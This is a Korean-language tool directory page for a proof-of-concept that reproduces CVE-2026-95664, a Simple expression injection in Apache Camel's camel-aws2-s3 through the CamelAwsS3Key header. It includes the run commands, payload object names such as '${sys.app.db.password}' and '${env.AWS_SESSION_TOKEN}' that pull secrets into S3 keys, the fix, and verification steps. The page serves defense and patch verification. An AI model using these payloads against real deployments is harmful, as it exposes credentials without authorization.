Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-95664 — CVE-2026-95664에 대한 실행 가능한 Spring Boot 및 Quarkus 재현 프로그램으로, camel-aws2-s3의 CamelAwsS3Key 헤더를 통한 Simple 표현식 주입을 시연하고 수정 사항을 검증합니다. | Kitploit
도구/GitHubGitHub/oscerd/cve-2026-95664
Defensive ToolsVulnerability AnalysisExploitationWeb Application ExploitationLearning & Education
GitHuboscerd/cve-2026-95664

CVE-2026-95664

CVE-2026-95664에 대한 실행 가능한 Spring Boot 및 Quarkus 재현 프로그램으로, camel-aws2-s3의 CamelAwsS3Key 헤더를 통한 Simple 표현식 주입을 시연하고 수정 사항을 검증합니다.

저장소 보기
64일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-95664 — camel-aws2-s3: 헤더로 전달된 객체 키가 Simple 표현식으로 평가됨

camel-aws2-s3 프로듀서가 CamelAwsS3Key 메시지 헤더에서 객체 키를 가져왔고 — 4.8.0부터 — AWS2S3Utils.determineKey()가 해당 값에 ${ 또는 $simple{가 포함되어 있으면 그 값을 Simple 언어에 전달하여, 라우트가 동적 키를 사용할 수 있었던 Apache Camel 취약점에 대한 실행 가능한 개념 증명(PoC) 재현기입니다. 이 평가는 라우트에서 구성한 keyName 옵션에 대해서뿐만 아니라 헤더에서 가져온 값에 대해서도 동일하게 적용되었습니다.

런타임디렉터리스택
Camel Spring Bootcamel-spring-boot/Spring Boot 3.5.13 + camel-aws2-s3 4.22.1
Camel Quarkuscamel-quarkus/Camel Quarkus 3.39.0 (Quarkus 3.39.0, Camel 4.22.0)

왜 중요한가

헤더는 라우트 구성이 아닙니다. aws2-s3 컨슈머는 생성하는 모든 exchange에 CamelAwsS3Key를 자신이 읽은 객체의 키, 즉 버킷에 있는 객체의 이름으로 설정합니다. 하나의 aws2-s3 엔드포인트에서 소비하여 다른 엔드포인트로 프로듀스하는 것 외에는 아무것도 하지 않는 라우트에서도, 소비된 각 객체의 이름이 프로듀서에 도달하여 평가되었습니다.

이러한 라우트가 소비하는 버킷에서 객체 이름을 선택할 수 있는 사람 — 일반적으로 해당 버킷에 업로드할 수 있는 모든 주체 — 은 자신이 원하는 Simple 표현식을 Camel 프로세스 내부에서 평가되게 할 수 있었습니다. Simple은 흔히 자격 증명을 담고 있는 JVM 시스템 속성, 환경 변수, 구성 속성을 읽을 수 있으며, camel-bean이 클래스패스에 있으면 레지스트리 빈의 메서드를 호출할 수도 있습니다.

프로듀서에 keyName을 구성하는 것은 보호 수단이 아니었습니다. 헤더가 그것보다 우선하기 때문입니다.

실행하기

cd camel-spring-boot          # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down

영향을 받는 빌드에서의 출력(두 런타임 모두 동일):

Route under attack: from("direct:archive").to("aws2-s3://archive-bucket?amazonS3Client=#s3Client&region=eu-west-1&autoCreateBucket=false&keyName=archived.txt")
The route configures a FIXED destination key: keyName=archived.txt. It never asks for a
dynamic key. The CamelAwsS3Key header, which the aws2-s3 consumer sets to the name of the
object it read, takes precedence over that option.

Values the deployment holds but the route never references:
  system property app.db.password = PROD-DB-PASSWORD-s3cr3t-77
  environment AWS_SESSION_TOKEN    = ENV-SESSION-TOKEN-s3cr3t-88

1) An ordinary object name in the consumed bucket: 'invoice-2026.pdf'
     key the producer wrote: [invoice-2026.pdf]

2) An object an uploader named '${sys.app.db.password}'
     key the producer wrote: [PROD-DB-PASSWORD-s3cr3t-77]
     the JVM system property was resolved into the key: true

3) An object an uploader named '${env.AWS_SESSION_TOKEN}'
     key the producer wrote: [ENV-SESSION-TOKEN-s3cr3t-88]
     the environment variable was resolved into the key: true

4) The $simple{} marker is handled the same way: '$simple{routeId}-${exchangeId}'
     key the producer wrote: [route1-D953127238C9F86-0000000000000000]
     evaluated rather than used literally: true

5) CONTROL - the same object name through a route doing removeHeader("CamelAwsS3Key")
     key the producer wrote: [archived.txt]
     the configured keyName was used instead: true

>>> PROVEN: ...

Probe 5는 아직 업그레이드할 수 없는 배포 환경을 위해 권고문에서 제시한 우회 방법이 실제로 동작하는 모습을 보여줍니다.

연결 방식

AWS 계정도, 네트워크도 없습니다. 재현기는 프로듀서가 실제로 쓰기를 요청한 키를 캡처하는 S3용 녹화 대역(amazonS3Client=#s3Client)을 등록합니다. 이 키가 바로 관찰해야 하는 유일한 대상입니다. 실제 AWS2S3Producer와 실제 AWS2S3Utils.determineKey()가 실행되며, 맨 마지막의 SDK 호출만 캡처됩니다.

드라이버는 소비된 객체의 이름으로 CamelAwsS3Key를 설정하는데, 이는 aws2-s3 컨슈머가 하는 동작과 정확히 같으므로 컨슈머 측에는 자체 버킷이 필요하지 않습니다.

이 대역은 headBucket에도 응답하는데, 이는 AWS2S3Endpoint.doStart()가 라우트를 시작하기 전에 버킷이 존재하는지 확인하기 때문입니다. 이 확인은 취약점과 무관합니다.

취약점 요약

속성값
구성 요소camel-aws2-s3 (AWS2S3Utils.determineKey())
CWECWE-917 (표현식 언어 주입)
심각도중간
공격 벡터aws2-s3 라우트가 소비하는 버킷 내 객체의 이름으로, ${ 또는 $simple{를 포함하며 CamelAwsS3Key를 통해 프로듀서로 전달됨
영향Camel 프로세스에서 Simple 표현식을 평가: 시스템 속성, 환경 변수, 구성 속성 읽기; camel-bean이 존재하는 경우 레지스트리 빈의 메서드 호출
영향받는 버전4.8.0부터 4.18.5 이전, 4.19.0부터 4.22.2 이전 (4.8.0 이전 릴리스는 헤더 값을 그대로 사용했으며 영향받지 않음)
수정된 버전4.18.5, 4.22.2, 4.23.0
JIRACAMEL-24901
크레딧Andrea Cosentino from Apache Software Foundation

권고문: https://camel.apache.org/security/CVE-2026-95664.html

버킷 이름도 동일한 평가를 거쳤지만, 컨슈머는 자체 엔드포인트에 구성된 버킷만 버킷 헤더에 넣을 뿐 원격 객체에서 파생된 값을 넣지 않으므로, 버킷 이름은 이 경로로 도달할 수 없었습니다.

수정 내용

라우트에서 구성한 키만 동적 Simple 표현식이 될 수 있습니다. 이제 헤더를 통해 제공된 키는 그대로 사용되며 절대 평가되지 않습니다:

String key = exchange.getIn().getHeader(AWS2S3Constants.KEY, String.class);
if (ObjectHelper.isEmpty(key)) {
    // only the configured key (supplied by the route) may be a dynamic simple expression;
    // a key provided through the header is used literally and never evaluated
    key = configuration.getKeyName();
    if (key != null && hasSimpleFunction(key)) { ... evaluate ... }
}

main에서 apache/camel#26746(1fd7a667)으로 수정되었으며, camel-4.22.x와 camel-4.18.x로 백포트되었습니다.

업그레이드 후에는 메시지 헤더를 통해 제공된 키 또는 버킷 이름이 그대로 사용됩니다. 따라서 CamelAwsS3Key 또는 CamelAwsS3OverrideBucketName에 의도적으로 평가되지 않은 Simple 표현식을 넣었던 라우트는 이제 라우트 자체에서 이를 평가하거나(setHeader(..., simple(...))), 엔드포인트의 keyName / bucketName 옵션으로 구성해야 합니다.

수정된 빌드 확인

camel.version을 4.22.2로 설정하고 다시 실행하세요. 4.22.1 → 4.22.2에서 검증되었습니다:

2) An object an uploader named '${sys.app.db.password}'
     key the producer wrote: [${sys.app.db.password}]
     the JVM system property was resolved into the key: false

4) ... key the producer wrote: [$simple{routeId}-${exchangeId}]
     evaluated rather than used literally: false

>>> NOT reproduced: the header was used literally.

면책 조항

이 저장소는 교육 및 방어 목적으로 게시되었습니다. Apache Camel 사용자가 취약점을 이해하고, 영향을 받는지 확인하며, 업그레이드로 문제가 해결되는지 검증할 수 있도록 돕기 위한 것입니다. 소유하거나 운영하지 않는 시스템에 이 자료를 사용하지 마십시오.

도구 다운로드